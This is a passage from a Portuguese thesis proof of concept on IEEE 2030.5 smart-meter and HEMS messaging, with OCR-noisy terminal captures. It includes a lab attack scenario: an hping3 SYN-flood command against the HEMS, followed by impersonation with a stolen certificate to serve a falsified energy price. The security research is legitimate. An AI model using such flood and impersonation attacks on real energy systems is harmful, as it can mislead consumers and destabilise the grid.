e register — representa a funcionalidade a ser executada pelo medidor inteligente con-

forme previsto no manual da implementacao.

A Figura 5.14 apresenta o medidor inteligente (lado esquerdo da Figura) e o HEMS
(lado direito da Figura) trocando informagoes para verificar se o medidor inteligente esta
registrado no HEMS.

Inicialmente é calculado o LFDI e o SFDI do medidor inteligente. Em seguida, os
certificados digitais das autoridades certificadoras confiaveis sao carregados e é realizada
a autenticagao mutua dos dispositivos. Em caso de falha, a comunicagao é interrompida.
Caso contrario, é iniciada a troca de mensagens entre os dispositivos. Em vermelho estao
destacadas algumas informacgoes importantes que sao verificadas a fim de confirmar o

registro do medidor inteligente.

Em se tratando de um medidor inteligente de energia elétrica, em determinado, mo-

mento ele consulta o HEMS para saber o preco da energia. Esse preco pode ser apresen-
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danilo — client@client: ~/IEEE-2030.5-Client — ssh -R 52698:localhost:52698 client@10.211.55.7 — 75x88

certs https://10.211.55.6:8443/dcap register
IEEE 2030.5 client test version 0.2.11 -- compiled: Feb 10 2021
load device certificate: pti_dev.x509

1fdi: 0671cl44d27dc9eb12afe7dcbc79ec089ed3deces
loaded certificate "certs/csep_root.pem"
loaded certificate "certs/csep_root_danilo.pem"
—--— conn = O@xaaaafdb5d110 -->
GET /dcap HTTP/1.1
Date: Thu, 25 Feb 2021 19:23:39 GMT
Host: :0
Accept: application/sep+xml; level=-S1

<-- conn = @xaaaafdb5d110 ---
HTTP/1.1 200 OK

Content-Type: application/sep+xml
Content-Length: 510

Server: Werkzeug/1.0.1 Python/3.8.5
Date: Thu, 25 Feb 2021 19:23:39 GMT

GET /dcap: 200

<DeviceCapability xmlns="http://ieee.org/2030.5" href="/dcap">
<DemandResponseProgramListLink all="2" href="/dr"/>
<DERProgramListLink all="2" href="/derp"/>
<MessagingProgramListLink all="2" href="/msg"/>
<ResponseSetListLink all="2" href="/rsps"/>
<TariffProfilelListLink all="1" href="/tp"/>
<TimeLink href="/tm"/>
<UsagePointListLink all="1" href="/upt"/>
[<EndDevicelistLink all="1" href="/edev"/>|
<MirrorUsagePointListLink all="@" href="/mup"/>
<SelfDevicelink href="/sdev"/>

</DeviceCapability>

—--— conn = O@xaaaafdb5d110 -->

GET /edev?1=1 HTTP/1.1

Date: Thu, 25 Feb 2021 19:23:39 GMT
Host: 10.211.55.6:8443

Accept: application/sep+xml; level=-S1

<-- conn = @xaaaafdb5d110 ---
HTTP/1.1 200 OK

Content-Type: application/sep+xml
Content-Length: 658

Server: Werkzeug/1.0.1 Python/3.8.5
Date: Thu, 25 Feb 2021 19:23:39 GMT

GET /edev: 200

"1" subscribable="0">
<EndDevice href="/edev/3" subscribable="0">
<ConfigurationLink href="/edev/3/cfg"/>
<DeviceInformationLink href="/edev/3/di"/>
<DeviceStatusLink href="/edev/3/ds"/>
<FileStatusLink href="/edev/3/fs"/>
<1FDI>0671cl44d27dc9eb12afe7dcbc79ec089ed3dec5</1FDI>
<PowerStatusLink href="/edev/3/ps"/>
|<sFDI>17298934539</sFDI>
<changedTime>1379905200</changedTime>
<FunctionSetAssignmentsListLink all="2" href="/edev/3/fsal"/>
<RegistrationLink href="/edev/3/reg"/>|
<SubscriptionListLink all="@" href="/edev/3/subl"/>
</EndDevice>
</EndDevicelist>

—--— conn = O@xaaaafdb5d110 -->

GET /edev/3/reg HTTP/1.1

Date: Thu, 25 Feb 2021 19:23:39 GMT
Host: 10.211.55.6:8443

Accept: application/sep+xml; level=-S1

<-- conn = @xaaaafdb5d110 ---
HTTP/1.1 200 OK

Content-Type: application/sep+xml
Content-Length: 152

Server: Werkzeug/1.0.1 Python/3.8.5
Date: Thu, 25 Feb 2021 19:23:39 GMT

GET /edev/3/reg: 200
<Registration xmlns="http://ieee.org/2030.5" href="/edev/3/reg">

<dateTimeRegistered>1513000350</dateTimeRegistered>
<pIN>111115</pIN>

</Registration>

registration succeeded

client@client:~/IEEE-2030.5-Client$ ./build/client_test enp@s2 pti_dev.x509

<EndDevicelist xmlns="http://ieee.org/2030.5" all="1" href="/edev" results=

server@Pserver:~/server$ pyth

on3 resources.py

* Serving Flask app "resour

ces" (lazy loading)

* Environment: production
WARNING: This is a develo

pment server. Do not use it

in a production deployment.

ver
* Debug mode: off

* Running on https://0.0.0.
0:8443/ (Press CTRL+C to qui
t)

10.211.55.7 - - [25/Feb/2021
19:23:39] "GET /dcap HTTP/1
.1" 200 -

10.211.55.7 - - [25/Feb/2021
19:23:39] "GET /edev?1l=1 HT
TP/1.1" 200 -

10.211.55.7 - - [25/Feb/2021

19:23:39] "GET /edev/3/reg
HTTP/1.1" 200 -

Figura 5.14: Comunicagao para verificagao de registro do medidor inteligente
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tado em um painel do medidor inteligente de forma que o proprietario da residéncia tenha

ciéncia do valor que esta sendo cobrado pela energia naquele determinado momento.

O preco da energia pode variar a depender do horéario do dia. Em horario de pico de
consumo, o pre¢o é mais elevado a fim de inibir o consumo excessivo e desnecessario os
quais podem sobrecarregar o sistema elétrico o levando a falhas. A informagao do preco
da energia ajuda o proprietario da residencia a controlar o consumo e o valor final da
fatura. O fluxo da troca de mensagens para verificagao do preco da energia previsto no

padrao é apresentado na Figura 5.15.

Medidor inteligente HEMS

GET TariffProfileList
o HTTP200 1]

GET RateComponentList
HTTP 200 1]

GET ReadingType
e HTTP200 1

GET TimeTariffIntervalList
e HTTP200 1

GET ConsumptionTariffIntervalList
HTTP 200 1]

Figura 5.15: Fluxo de mensagens cliente-servidor para obter preco da energia

As Figuras 5.16 e 5.17 apresentam as trocas de mensagens entre o medidor inteligente
e o HEMS. Antes de inciar a troca de mensagens, é feita a autenticacao mutua. Sendo
assim, obtendo sucesso na autenticacao, a troca de mensagens ¢ iniciada e os dispositivos
consideram que as informacoes trocadas sao verdadeiras, nao ocorrendo duvida sobre a

legitimidade das mesmas.

O HEMS também pode armazenar informacoes de medi¢oes de medidores inteligentes
de outras commodities (e.g., gas). O medidor inteligente, além de consultar informagoes
no HEMS, também envia seus dados de medigao para que sejam armazenados no mesmo.
Para isso, o HEMS deve disponibilizar o conjunto de fungoes Metering Mirror. Tais

medicoes sao posteriormente acessadas pela concessionaria a fim de compor a fatura de
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danilo — client@client: ~[/IEEE-2030.5-Client — ssh -R 52698:localhost:52698 client@10.211.55.7 — 105x93

client@client:~/IEEE-2030.5-Client$ curl -v --cert pti_dev.crt --key pti_dev.pem --cacert ../CSEP_Root_Da
nilo.crt -k -H "Accept: application/sep+xml; level=-S1" https://10.211.55.6:8443/{tp, 'tp/1/rc?1=1"',rt/1,"'
tp/1/rc/1/acttti?1=1", 'tp/1/rc/1/tti/0/cti?1=1"}
* Trying 10.211.55.6:8443...
TCP_NODELAY set
Connected to 10.211.55.6 (10.211.55.6) port 8443 (#0)
ALPN, offering h2
ALPN, offering http/1.1
successfully set certificate verify locations:

CAfile: ../CSEP_Root_Danilo.crt
CApath: /etc/ssl/certs
TLSv1.3 (OUT), TLS handshake, Client hello (1):
TLSv1.3 (IN), TLS handshake, Server hello (2):
TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
TLSv1.3 (IN), TLS handshake, Request CERT (13):
TLSv1.3 (IN), TLS handshake, Certificate (11):
TLSv1.3 (IN), TLS handshake, CERT verify (15):
TLSv1.3 (IN), TLS handshake, Finished (20):
TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
TLSv1.3 (OUT), TLS handshake, Certificate (11):
TLSv1.3 (OUT), TLS handshake, CERT verify (15):
TLSv1.3 (OUT), TLS handshake, Finished (20):
SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
ALPN, server did not agree to a protocol
Server certificate:

subject: [NONE]

start date: Feb 11 17:01:00 2021 GMT

expire date: Dec 31 23:59:59 9999 GMT

issuer: 0=CSEP; CN=CSEP_Root_Danilo; serialNumber=1
[ssL certificate verify ok.|
GET /tp HTTP/1.1
Host: 10.211.55.6:8443
User-Agent: curl/7.68.0
Accept: application/sep+xml; level=-S1

* ¥ K K K ¥

TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
old SSL session ID is stale, removing

Mark bundle as not supporting multiuse

HTTP/1.1 200 OK

Content-Type: application/sep+xml

Content-Length: 469

Server: Werkzeug/1.0.1 Python/3.8.5

Date: Thu, 25 Feb 2021 19:33:45 GMT

AAAAAAN K HHKVVVVVERNXRRRXXEHX XXX XXX XX *

<TariffProfileList all="1" href="/tp" results="1" xmlns="urn:ieee:std:2030.5:ns">
<TariffProfile href="/tp/1">
<mRID>799794f4620b17€00000e566</mRID>
<description>Standard Rate</description>
<currency>840</currency>
<pricePowerOfTenMultiplier>-6</pricePowerOfTenMultiplier>
<primacy>@</primacy>
<rateCode>FLAT</rateCode>
<RateComponentListLink all="1" href="/tp/1/xc"/>
<serviceCategoryKind>0</serviceCategoryKind>
</TariffProfile>

* Connection #0 to host 10.211.55.6 left intact

</TariffProfileList>* Found bundle for host 10.211.55.6: Oxaaaafa33b9e® [serially]

Can not multiplex, even if we wanted to!

Re-using existing connection! (#0) with host 10.211.55.6

Connected to 10.211.55.6 (10.211.55.6) port 8443 (#0)

GET /tp/1/rc?1=1 HTTP/1.1

Host: 10.211.55.6:8443

User-Agent: curl/7.68.0

Accept: application/sep+xml; level=-S1

Mark bundle as not supporting multiuse
HTTP/1.1 200 OK

Content-Type: application/sep+xml
Content-Length: 489

Server: Werkzeug/1.0.1 Python/3.8.5
Date: Thu, 25 Feb 2021 19:33:45 GMT

AAAAAANXV VYV VYV XXX

<RateComponentList:sep all="1" href="/tp/1/rc" results="1" xmlns="urn:ieee:std:2030.5:ns">
<RateComponent:sep href="/tp/1/rc/1">
<mRID:sep>fcPOObO7143d24Tc0000e566</mRID: sep>
<description:sep>Standard Rate</description:sep>
<ActiveTimeTariffIntervallListlLink:sep all="1" href="/tp/1/rc/1/acttti"/>
<ReadingTypelLink:sep href="/rt/1"/>
<roleFlags:sep>1</roleFlags:sep>
<TimeTariffIntervallListLink:sep all="5" href="/tp/1/rc/3/tti"/>
</RateComponent:sep>
* Connection #0 to host 10.211.55.6 left intact
</RateComponentList:sep>% Found bundle for host 10.211.55.6: Oxaaaafa33b9e® [serially]

Figura 5.16: Consulta preco energia - parte 1



5.7

Prova de Conceito

75

Re-using existing connection! (#@) with host 10.211.55.6
Connected to 10.211.55.6 (10.211.55.6) port 8443 (#0)
GET /rt/1 HTTP/1.1

Host: 10.211.55.6:8443

User-Agent: curl/7.68.0

Accept: application/sep+xml; level=-S1

Mark bundle as not supporting multiuse
HTTP/1.1 200 OK

Content-Type: application/sep+xml
Content-Length: 411

Server: Werkzeug/1.0.1 Python/3.8.5
Date: Thu, 25 Feb 2021 19:33:45 GMT

AAANAANAAANNRNV VYV VYV XX

<ReadingType href="/rt/1" xmlns="urn:ieee:std:2030.5:ns">
<accumulationBehavior>9</accumulationBehavior>
<commodity>1</commodity>
<dataQualifier>12</dataQualifier>
<flowDirection>1</flowDirection>
<kind>37</kind>
<numberOfConsumptionBlocks>1</numberOfConsumptionBlocks>
<numberOfTouTiers>1</numberOfTouTiers>
<phase>0</phase>
<powerOfTenMultiplier>3</powerOfTenMultiplier>
<uom>72</uom>

* Connection #0 to host 10.211.55.6 left intact

</ReadingType>%* Found bundle for host 10.211.55.6: @xaaaafa33b9e0 [serially]

* Can not multiplex, even if we wanted to!

Re-using existing connection! (#@) with host 10.211.55.6

Connected to 10.211.55.6 (10.211.55.6) port 8443 (#0)

GET /tp/1/rc/1/acttti?1l=1 HTTP/1.1

Host: 10.211.55.6:8443

User-Agent: curl/7.68.0

Accept: application/sep+xml; level=-S1

Mark bundle as not supporting multiuse
HTTP/1.1 200 OK

Content-Type: application/sep+xml
Content-Length: 679

Server: Werkzeug/1.0.1 Python/3.8.5
Date: Thu, 25 Feb 2021 19:33:45 GMT

AAANAANAAANRNVVV VYV XX

<TimeTariffIntervallList all="1" href="/tp/1/rc/1/acttti" results="1" subscribable="1" xmlns="urn:ieee:std
12030.5:ns">
<TimeTariffInterval href="/tp/1/rc/1/tti/e">
<mRID>ef06fa23dc0adf650000e566</mRID>
<description>Standard Rate</description>
<creationTime>1357430400</creationTime>
<EventStatus>
<currentStatus>1</currentStatus>
<dateTime>1357516800</dateTime>
<potentiallySuperseded>false</potentiallySuperseded>
</EventStatus>
<randomizeDuration>300</randomizeDuration>
<randomizeStart>300</randomizeStart>
<ConsumptionTariffIntervallListLink all="1" href="/tp/1/rc/1/tti/@/cti"/>
<touTier>1</touTier>
</TimeTariffInterval>
* Connection #0 to host 10.211.55.6 left intact
</TimeTariffIntervallList>% Found bundle for host 10.211.55.6: Oxaaaafa33b9e@ [serially]
Can not multiplex, even if we wanted to!
Re-using existing connection! (#@) with host 10.211.55.6
Connected to 10.211.55.6 (10.211.55.6) port 8443 (#0)
GET /tp/1/rc/1/tti/@/cti?1=1 HTTP/1.1
Host: 10.211.55.6:8443
User-Agent: curl/7.68.0
Accept: application/sep+xml; level=-S1

Mark bundle as not supporting multiuse
HTTP/1.1 200 OK

Content-Type: application/sep+xml
Content-Length: 327

Server: Werkzeug/1.0.1 Python/3.8.5
Date: Thu, 25 Feb 2021 19:33:45 GMT

AAAAANAANRNVVV VYV XX ¥

<ConsumptionTariffIntervallist all="1" href="/tp/1/rc/1/tti/0/cti" results="1" xmlns="urn:ieee:std:2030.5
ins">
<ConsumptionTariffInterval href="/tp/1/rc/1/tti/@/cti/e">
<consumptionBlock>1</consumptionBlock>
[<price>113600</price> |
<startValue>B</startValue>
</ConsumptionTariffInterval>
</ConsumptionTariffIntervallist>
* Connection #0 to host 10.211.55.6 left intact
client@client:~/IEEE-2030.5-Client$ [

Figura 5.17: Consulta preco energia - parte 2
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cobranca.

Por exemplo, caso o medidor inteligente seja um medidor de gés, ele pode armazenar
seus dados de medi¢gao no HEMS e posteriormente a concessionaria consultaria o HEMS

a fim de recuperar os dados de medicao para gerar a fatura a ser paga.

O medidor inteligente cria um MirrorUsagePoint no HEMS. Isso é feito utilizando o
método POST. Apos a criagao, o medidor inteligente envia seus dados de medicao via
POST para o recurso MirrorMeterReading para que essa informacao fique registrada no

HEMS. As Figuras 5.18 e 5.19 apresentam esse processo.

A Figura 5.18 inicialmente mostra a informacao a ser enviada para a criacao do
MirrorUsagePoint no HEMS. Logo em seguida, a informagao é enviada via POST ao
HEMS que retorna a URI para acesso. A Figura 5.19 apresenta o valor da medi¢ao a ser
enviada ao HEMS. Em seguida, o medidor inteligente envia a informacao da medicao e
recebe como resposta a URI de acesso a mesma. Por fim, um GET é feito na URI para

verificar o valor registrado no HEMS.

Sendo assim, nesse cenario foi apresentado, em um primeiro momento, o envio de
informacgao proveniente do HEMS ao medidor inteligente e posteriormente o envio de
informagao do medidor inteligente ao HEMS. No primeiro caso, foi enviado o valor do
preco da energia ao medidor inteligente e, no segundo caso, foi enviado o valor da medi¢ao
ao HEMS.

As informagodes trocadas entre os dispositivos sao consideradas verdadeiras e legitimas
a partir do momento que se obtém sucesso na autenticagao mutua dos dispositivos. Tal
autenticagao envolve os certificados digitais. No entanto, havendo o comprometimento de
um certificado, nao ha previsao de um meio pelo qual se invalide tal certificado compro-

metido e impega o seu uso em outro dispositivo em qualquer outro lugar.

Nos cenéarios seguintes serao apresentados modos de adulteracao de tais informagoes

partindo-se do comprometimento dos certificados digitais dos dispositivos.

5.7.5 Cenario 2 — comprometimento do certificado digital do dis-
positivo servidor

Nesse cenério, parte-se do pressuposto que um atacante — de posse do computador local
— tenha comprometido o certificado digital do HEMS. Com isso, ele tem a posse da chave

privada referente ao mesmo.
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danilo — client@client: ~[/IEEE-2030.5-Client — ssh -R 52698:localhost:52698 client@10.211.55.7 — 73...

client@client:~/IEEE-2030.5-Client$ cat mirror_usage_point.xml [server@server:~/server$ pytho

<MirrorUsagePoint xmlns="urn:ieee:std:2030.5:ns"> n3 resources.py
<mRID>0600006CC8</mRID> * Serving Flask app "resourc
<description>Gas Mirroring</description> es" (lazy loading)
<roleFlags>13</roleFlags> * Environment: production
<serviceCategoryKind>1</serviceCategoryKind> WARNING: This is a develop
<status>1</status> ment server. Do not use it in
<devicelLFDI>00</devicelLFDI> a production deployment.
<MirrorMeterReading>
<mRID>0700006CC8</mRID> el
<ReadingType> * Debug mode: off
<accumulationBehaviour>9</accumulationBehaviour> * Running on https://0.0.0.0
<commodity>7</commodity> 18443/ (Press CTRL+C to quit)
<dataQualifier>0</dataQualifier> 10.211.55.7 - - [25/Feb/2021
<flowDirection>1</flowDirection> 19:57:48] "POST /mup HTTP/1.1
<powerOfTenMultiplier>3</powerOfTenMultiplier> " 201 -
<uom>119</uom>
</ReadingType>
</MirrorMeterReading>
</MirrorUsagePoint>

client@client:~/IEEE-2030.5-Client$ curl -v --cert pti_dev.crt —--key pti_
dev.pem --cacert ../CSEP_Root_Danilo.crt -k -H "Accept: application/sep+x
ml; level=-S1" -H "Content-type: text/xml" -d '@mirror_usage_point.xml' h
ttps://10.211.55.6:8443/mup
* Trying 10.211.55.6:8443...
TCP_NODELAY set
Connected to 10.211.55.6 (10.211.55.6) port 8443 (#0)
ALPN, offering h2
ALPN, offering http/1.1
successfully set certificate verify locations:
CAfile: ../CSEP_Root_Danilo.crt
CApath: /etc/ssl/certs

* % X X ¥ K

TLSv1.3 (OUT), TLS handshake, Client hello (1):

TLSv1.3 (IN), TLS handshake, Server hello (2):

TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
TLSv1.3 (IN), TLS handshake, Request CERT (13):

TLSv1.3 (IN), TLS handshake, Certificate (11):

TLSv1.3 (IN), TLS handshake, CERT verify (15):

TLSv1.3 (IN), TLS handshake, Finished (20):

TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
TLSv1.3 (OUT), TLS handshake, Certificate (11):

TLSv1.3 (OUT), TLS handshake, CERT verify (15):

TLSv1.3 (OUT), TLS handshake, Finished (20):
SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
ALPN, server did not agree to a protocol
Server certificate:
subject: [NONE]
start date: Feb 11 17:01:00 2021 GMT
expire date: Dec 31 23:59:59 9999 GMT
issuer: 0=CSEP; CN=CSEP_Root_Danilo; serialNumber=1
[SSL certificate verify okl
POST /mup HTTP/1.1
Host: 10.211.55.6:8443
User-Agent: curl/7.68.0
Accept: application/sep+xml; level=-S1
Content-type: text/xml
Content-Length: 564

upload completely sent off: 564 out of 564 bytes
TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
old SSL session ID is stale, removing

Mark bundle as not supporting multiuse

HTTP/1.1 201 CREATED

Content-Type: application/sep+xml

Location: https://10.211.55.6:8443/mup/0
Content-Length: @

Server: Werkzeug/1.0.1 Python/3.8.5

Date: Thu, 25 Feb 2021 19:57:48 GMT

¥ AAAAAAANRKH ¥ HFVVVVVVVERRRRKEHHXHHHE XX %% % %

Connection #0 to host 10.211.55.6 left intact
client@client:~/IEEE-2030.5-Client$ [

Figura 5.18: Envio de valores de medicoes - parte 1
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danilo — client@client: ~[IEEE-2030.5-Client — ssh -R 52698:localhost:52698 client@10.211.55.7 — 73...

client@client:~/IEEE-2030.5-Client$ cat meter_reading.xml
<MirrorMeterReading xmlns="urn:ieee:std:2030.5:ns">
<mRID>0800006CC8</mRID>
<MirrorReadingSet>
<mRID>0900006CC8</mRID>
<timePeriod>
<duration>86400</duration>
<start>1341579365</start>
</timePeriod>
<Reading>
|<value>9</value>|
<locallD>00</locallD>
</Reading>
</MirrorReadingSet>
</MirrorMeterReading>
client@client:~/IEEE-2030.5-Client$ curl -i --cert pti_dev.crt —-key pti_
dev.pem —--cacert ../CSEP_Root_Danilo.crt -k -H "Accept: application/sep+x
ml; level=-S1" -H "Content-type: text/xml" -d 'Cmeter_reading.xml' https:
//10.211.55.6:8443/mup/0
HTTP/1.1 201 CREATED
Content-Type: application/sep+xml
Location: https://10.211.55.6:8443/upt/1/mr
Content-Length: 0
Server: Werkzeug/1.0.1 Python/3.8.5
Date: Thu, 25 Feb 2021 20:00:05 GMT

client@client:~/IEEE-2030.5-Client$ curl -i --cert pti_dev.crt —-key pti_
dev.pem --cacert ../CSEP_Root_Danilo.crt -k -H "Accept: application/sep+x
ml; level=-S1" -H "Content-type: text/xml" https://10.211.55.6:8443/upt/1
/mx

HTTP/1.1 200 OK

Content-Type: application/sep+xml

Content-Length: 325

Server: Werkzeug/1.0.1 Python/3.8.5

Date: Thu, 25 Feb 2021 20:07:07 GMT

<MirrorMeterReading xmlns="urn:ieee:std:2030.5:ns">
<mRID>0800006CC8</mRID>
<MirrorReadingSet>
<mRID>0900006CC8</mRID>
<timePeriod>
<duration>86400</duration>
<start>1341579365</start>
</timePeriod>
<Reading>
<value>9</value>
<localID>00</locallD>
</Reading>
</MirrorReadingSet>
</MirrorMeterReading>client@client:~/IEEE-2030.5-Client$ [J

[server@Pserver:~/server$ pytho
n3 resources.py

* Serving Flask app "resourc
es" (lazy loading)

% Environment: production

WARNING: This is a develop

ment server. Do not use it in

a production deployment.

er

* Debug mode: off

* Running on https://0.0.0.0
:8443/ (Press CTRL+C to quit)
10.211.55.7 - - [25/Feb/2021
19:57:48]1 "POST /mup HTTP/1.1
" 201 -

10.211.55.7 - - [25/Feb/2021
20:00:05] "POST /mup/@ HTTP/1
21" 201 -

10.211.55.7 - - [25/Feb/2021
20:07:071 "GET /upt/1/mr HTTP
/1.1" 200 -

Figura 5.19: Envio de valores de medigoes - parte 2
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Figura 5.20: Cenério ataque ao HEMS

A partir de entdao, ele pode se passar pelo HEMS ao apresentar o certificado digital
comprometido de forma que o medidor inteligente inicie com ele uma comunicacao sem
maiores problemas. Assim, ele pode fornecer um valor falso do pre¢o da energia (valor
mais baixo), sendo que, naquele momento, o valor encontra-se elevado devido ao pico de

demanda.

Para que tal alteracao de preco ocorra, o atacante inicia um ataque DoS contra o
HEMS usando a ferramenta HPING3. A partir de entdo, o medidor inteligente nao

consegue mais se comunicar com o HEMS para verificagao do prego da energia.

Esse cenario onde o HEMS sofre um ataque DoS e o medidor inteligente nao consegue
se comunicar com ele é apresentado na Figura 5.20. Ja a demonstracao pratica desse
ataque ¢é apresentada na Figura 5.21. Nela, é possivel notar que o computador local
(server-devil) realiza o ataque usando o HPING3 contra o HEMS (server) fazendo com
que ele pare de responder as solicitagcoes. Com consequéncia disso, o medidor inteligente

(client) nao consegue se comunicar com o HEMS para obter o prego da energia.

A partir de entao, o computador local, por meio do Flask, disponibiliza recursos na
rede. Dentre os recursos esté a consulta de preco. Com isso, o medidor inteligente inicia

a comunicagao com o computador local.

O primeiro passo da comunicacao é a autenticacao mutua por meio do TLS. Nesse
momento, o computador local fornece o certificado digital do HEMS o qual ele teve acesso
juntamente com a chave privada. O medidor, por confiar no certificado, o autentica e, a

partir de entao, eles comecam a troca de mensagens na qual o atacante — por meio do
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server@server:~/server$ python3 resources.py
* Serving Flask app "resources" (lazy loading) F{EE“ASS
% Environment: production

WARNING: This is a development server. Do not use it in a production deployment.

* Debug mode: off
* Running on https://0.0.0.0:8443/ (Press CTRL+C to quit)

o0 danilo — client@client: ~/IEEE-2030.5-Client — ssh -R 52698:l...

server—-devil@server-devil:~/test-devil$ sudo hping3 —-s|@lliclient@client:~/IEEE-2030.5-Client$ curl -v --c

yn —-flood -p 8443 10.211.55.6 ert pti_dev.crt --key pti_dev.pem --cacert ../C
HPING 10.211.55.6 (enp@s2 10.211.55.6): S set, 40 heade l SEP_Root_Danilo.crt -k -H "Accept: application/
rs + @ data bytes sep+xml; level=-S1" https://10.211.55.6:8443/{t
hping in flood mode, no replies will be shown p, 'tp/1/rc?1=1"',rt/1, 'tp/1/xc/1/acttti?1=1", 'tp

/1/rc/1/tti/@/cti?1=1"}
*  Trying 10.211.55.6:8443...
* TCP_NODELAY set

Computador Local Medidor Inteligente

Figura 5.21: Demonstracao ataque DoS ao HEMS

computador local — envia um prego falso de energia de forma a enganar o consumidor.
Isso pode o induzir a aumentar o consumo de energia justamente em um momento em
que a rede elétrica passa por um pico de demanda. Dessa forma, ao aumentar ainda mais

0 consumo, o sistema elétrico pode ter uma sobrecarga e consequentemente uma falha.

A Figura 5.22-(A) apresenta o trecho inicial da comunica¢do na qual ocorre a au-
tenticagdo mutua dos certificados digitais e a Figura 5.22-(B) apresenta o trecho final da
comunicagao a qual exibe o preco da energia com valor alterado (prego igual a 105000) que
é diferente do apresentado na comunicagdo sem comprometimento de certificado (prego

igual a 113000).

Sendo assim, ocorrendo o comprometimento do certificado digital do HEMS, a rede
como um todo torna-se nao mais confiavel e falhas podem ocorrer a qualquer momento

devido as informagoes e comandos que sao emitidos pelo atacante.

5.7.6 Cenario 3 — comprometimento do certificado digital do dis-
positivo cliente

Nesse cenario, o medidor inteligente possui o certificado digital comprometido. Parte-se
do pressuposto que um atacante — controlando o computador local — tenha a posse da

chave privada e do certificado digital do medidor inteligente.

Dessa forma, ele pode se passar pelo medidor e iniciar uma comunica¢ao com o HEMS

fornecendo uma informacao falsa de medi¢ao que passa a ser registrada no HEMS. Fu-
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danilo — client@client: ~/IEEE-2030.5-Client — ssh -R 52698:localhost:52698 client@10.211.55.7 — 73...

* K K K X ¥

TLSV1.3 (OUT),
TLSV1.3 (IN),
TLSV1.3 (IN),
TLSv1.3 (IN),
TLSV1.3 (IN),
TLSv1.3 (IN),
TLSV1.3 (IN),
TLSv1.3 (OUT),
TLSv1.3 (OUT),
TLSV1.3 (OUT),
TLSv1.3 (OUT),

expire date:

client@client:~/IEEE-2030.5-Client$ curl -v --cert pti_dev.crt --key pti_
dev.pem --cacert
ml; level=-S1" https://10.211.55.9:8443/{tp, 'tp/1/rc?1=1"',rt/1,'tp/1/xrc/1
/acttti?l=1','tp/1/rc/1/tti/0/cti?1=1"}
* Trying 10.211.55.9:8443...
TCP_NODELAY set
Connected to 10.211.55.9 (10.211.55.9) port 8443 (#0)
ALPN, offering h2
ALPN, offering http/1.1
successfully set certificate verify locations:
CAfile: ../CSEP_Root_Danilo.crt
CApath: /etc/ssl/certs

../CSEP_Root_Danilo.crt -k -H "Accept: application/sep+x

TLS handshake, Client hello (1):

TLS handshake, Server hello (2):

TLS handshake, Encrypted Extensions (8):
TLS handshake, Request CERT (13):

TLS handshake, Certificate (11):

TLS handshake, CERT verify (15):

TLS handshake, Finished (20):

TLS change cipher, Change cipher spec (1):
TLS handshake, Certificate (11):

TLS handshake, CERT verify (15):

TLS handshake, Finished (20):

SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
ALPN, server did not agree to a protocol
Server certificate:

subject: [NONE]

start date: Feb 11 17:01:00 2021 GMT

Dec 31 23:59:59 9999 GMT

server-devil@server-devil:~/te

st-devil$ python3 devil_attack

.py

* Serving Flask app "devil_at

tack" (lazy loading)

* Environment: production
WARNING: This is a developm

ent server. Do not use it in a

production deployment.

r
* Debug mode: off
* Running on https://0.0.0.0:
8443/ (Press CTRL+C to quit)
10.211.55.7 - - [25/Feb/2021 2
0:21:37] "GET /tp HTTP/1.1" 20
0 -

10.211.55.7 - - [25/Feb/2021 2
0:21:37]1 "GET /tp/1/rc?1=1 HTT
P/1.1" 200 -

10.211.55.7 - - [25/Feb/2021 2

0:21:37] "GET /rt/1 HTTP/1.1"
200 -

10.211.55.7 - - [25/Feb/2021 2
0:21:37] "GET /tp/1/rc/1/acttt
i?1=1 HTTP/1.1" 200 -
10.211.55.7 - - [25/Feb/2021 2
0:21:37] "GET /tp/1/rc/1/tti/e

/cti?l=1 HTTP/1.1" 200 -
issuer: 0=CSEP; CN=CSEP_Root_Danilo; serialNumber=1 D
[SSL certificate verify ok.|
GET /tp HTTP/1.1
Host: 10.211.55.9:8443
User-Agent: curl/7.68.0
Accept: application/sep+xml; level=-S1

TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
old SSL session ID is stale, removing

Mark bundle as not supporting multiuse

HTTP/1.1 2008 OK

Content-Type: application/sep+xml

Content-Length: 469

Server: Werkzeug/@.16.1 Python/3.8.5

Date: Thu, 25 Feb 2021 20:21:37 GMT

AAAANANX K%KV VVVVERRRXKRKKRNKX KK KX * XX XX ¥ X

<TariffProfileList all="1" href="/tp" results="1" xmlns="urn:ieee:std:203
0.5:ns">
<TariffProfile href="/tp/1">
<mRID>799794f4620b17e00000e566</mRID>
<description>Standard Rate</description>
<currency>840</currency>
<pricePowerOfTenMultiplier>-6</pricePowerOfTenMultiplier>
<primacy>@</primacy>
<rateCode>FLAT</rateCode>
<RateComponentListLink all="1" href="/tp/1/rc"/>
<serviceCategoryKind>0</serviceCategoryKind>
</TariffProfile>
* Connection #0 to host 10.211.55.9 left intact
</TariffProfilelList>* Found bundle for host 10.211.55.9: @xaaaaech789e0 [

(A) Trecho inicial

52698:localhost:52698 client@10.211.55.7 — 73...

danilo — client@client: ~/IEEE-2030.5-Client — ssh -R

</EventStatus> server-devil@server-devil:~/te
<randomizeDuration>300</randomizeDuration> st-devil$ python3 devil_attack
<randomizeStart>300</randomizeStart> .py

<ConsumptionTariffIntervallListLink all="1" href="/tp/1/rc
/1/tti/e/cti"/>

<touTier>1</touTier>

</TimeTariffInterval>

* Connection #@ to host 10.211.55.9 left intact
</TimeTariffIntervallist>* Found bundle for host 10.211.55.9: Oxaaaaecb78
9e0 [serially]
Can not multiplex, even if we wanted to! T

* Serving Flask app "devil_at
tack" (lazy loading)
* Environment: production
WARNING: This is a developm
ent server. Do not use it in a
production deployment.

*

Content-Length: 327 0:21:37] "GET /rt/1 HTTP/1.1"
Server: Werkzeug/0.16.1 Python/3.8.5 200 -

10.211.55.7 - - [25/Feb/2021 2
0:21:37] "GET /tp/1/rc/1/acttt
1?1=1 HTTP/1.1" 200 -
10.211.55.7 - - [25/Feb/2021 2
